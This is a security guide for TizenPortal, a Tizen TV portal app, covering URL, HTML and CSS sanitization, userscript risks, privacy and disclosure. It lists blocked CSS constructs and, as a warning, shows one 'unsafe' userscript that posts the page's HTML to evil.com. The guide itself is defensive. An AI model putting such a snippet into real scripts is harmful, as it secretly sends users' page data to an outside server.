TizenPortal is designed with security as a priority. This guide explains the security features, best practices, and considerations when using TizenPortal.

TizenPortal is designed for single-user Samsung Tizen Smart TVs. The security model assumes:

• ✅ Single user with physical access to the device
• ✅ No multi-user concerns or access control needed
• ✅ Data stored locally is not secret (site shortcuts, preferences)
• ✅ User is responsible for securing their own device

localStorage is used for:

• Site cards (URLs, names, settings)
• User preferences (theme, navigation mode)
• Global userscripts
• Feature configuration

Important: All data is stored unencrypted in the browser's localStorage. This is appropriate for the single-user TV use case where data is not sensitive.

All user inputs are sanitized before use:

// Enforces http/https protocols only
// Blocks: javascript:, data:, vbscript:, blob:, etc.
sanitizeUrl(userInput);

Protected Against:

• Protocol injection attacks
• XSS via javascript: URLs
• Data exfiltration via data: URIs

// Escapes all HTML-significant characters
escapeHtml(userContent);

Protected Against:

• XSS via HTML injection
• Script tag injection
• Attribute injection

// Strips dangerous CSS constructs
sanitizeCss(userCSS);

Blocks:

• @import rules (external stylesheet loading)
• url() values (network requests)
• expression() (IE CSS expressions)
• -moz-binding (XBL binding)
• javascript: and data: protocols
• </style> tags (context breakout)

TizenPortal prevents cross-site scripting through:

• ✅ All user content escaped before DOM insertion
• ✅ textContent preferred over innerHTML for dynamic content
• ✅ Static HTML templates for UI structure
• ✅ No eval() or document.write()
• ✅ Safe DOM manipulation with createElement()

• Same-origin policy enforced by browser
• Cross-origin iframe access wrapped in try-catch
• PostMessage uses specific target origins (never '*')
• Cross-origin document access gracefully fails

TizenPortal handles localStorage quota limits:

// Safe storage with quota detection
safeLocalStorageSet(key, value);
// Returns: { success, error, message }

If quota is exceeded:

• User is notified via console error
• Data is not lost (operation fails safely)
• Recommendation to remove old cards/scripts

Userscripts run with full page access. Only enable scripts that:

• ✅ You wrote yourself, OR
• ✅ Come from trusted sources you verify, OR
• ✅ You've reviewed and understand the code

Userscripts have access to:

• window - Full browser window object
• document - Complete DOM access
• TizenPortal - TizenPortal API
• card - Current site configuration
• bundle - Current bundle instance

Malicious userscripts could:

• ❌ Steal data from pages you visit
• ❌ Modify page behavior unexpectedly
• ❌ Access your TizenPortal configuration
• ❌ Send data to external servers

1. Review Code - Always read userscript source before enabling
2. Test Safely - Test new scripts on non-sensitive sites first
3. Minimal Scripts - Only enable scripts you actively use
4. Regular Audits - Review enabled scripts periodically
5. Trusted Sources - Only use scripts from developers you trust

// ✅ SAFE: Simple styling enhancement
(function() {
  var style = document.createElement('style');
  style.textContent = 'body { font-size: 1.2em; }';
  document.head.appendChild(style);
})();

// ❌ UNSAFE: Sends data to external server
(function() {
  var data = document.body.innerHTML;
  fetch('https://evil.com/collect', {
    method: 'POST',
    body: data
  });
})();

All bundle manifests are validated before loading:

• Required fields checked (name, displayName, version, description)
• Type validation on all fields
• Whitelisted values for modes and options
• Array and object structure validation

Invalid manifests are rejected with error messages.

• Bundles are loaded per-site (not globally)
• Bundle CSS is scoped to the bundle's target site
• Bundle deactivation cleans up resources
• Userscripts are cleared when bundles change

TizenPortal includes vetted bundles:

• Default - Basic enhancements for all sites
• Audiobookshelf - Optimized for Audiobookshelf
• Adblock - Generic ad blocking (CSS-based)

All built-in bundles are reviewed and considered safe.

• URLs without protocols are prepended with https://
• Certificate validation is handled by the browser
• No certificate pinning (respects system trust store)

TizenPortal loads:

• ✅ Polyfills from npm packages (bundled at build time)
• ✅ User-specified site URLs (via cards)
• ✅ User-specified favicon URLs (optional)

TizenPortal does NOT:

• ❌ Load analytics or tracking scripts
• ❌ Send data to external servers
• ❌ Use third-party CDNs at runtime

TizenPortal does not collect any user data.

• ✅ No analytics
• ✅ No tracking
• ✅ No telemetry
• ✅ No external API calls

All data stays on your device:

• Site cards stored in localStorage
• Preferences stored in localStorage
• Userscripts stored in localStorage
• No cloud sync or backup

• TizenPortal modifies browser history for clean URLs
• Hash parameters (#tp=...) are removed after reading
• Query parameters (?tp=...) are removed after reading
• This prevents payload data from appearing in browser history

TizenPortal undergoes regular security reviews:

• Latest Review: February 11, 2026
• Status: ✅ APPROVED FOR USE
• Vulnerabilities: 0 critical, 0 high, 0 medium, 0 low (all issues resolved or accepted)
• Dependencies: 0 vulnerable packages

See the Security Guide for full security documentation.

If you discover a security vulnerability in TizenPortal:

1. Do NOT open a public GitHub issue
2. Email the maintainer with details
3. Include steps to reproduce
4. Wait for acknowledgment before public disclosure

Responsible disclosure is appreciated.

• Keep your Samsung TV's firmware updated
• Use a secure WiFi network
• Don't share your TV with untrusted users

• Only add sites you trust and use
• Review card URLs before adding
• Remove unused cards periodically

• Only enable scripts you understand
• Review script source code
• Disable unused scripts
• Be cautious with scripts from others

• Use built-in bundles when available
• Review custom bundle code before use
• Check bundle manifests for validity

• Update TizenPortal regularly
• Check release notes for security fixes
• Follow the TizenBrew update process

Before using TizenPortal:

• I understand userscripts run with full page access
• I will only enable scripts I trust and have reviewed
• I will only add site cards for sites I use and trust
• I will keep TizenPortal updated to the latest version
• I will not share userscripts that access sensitive data

• OWASP Top 10 - Web application security risks
• Mozilla Web Security Guidelines - Security best practices

Last Updated: February 11, 2026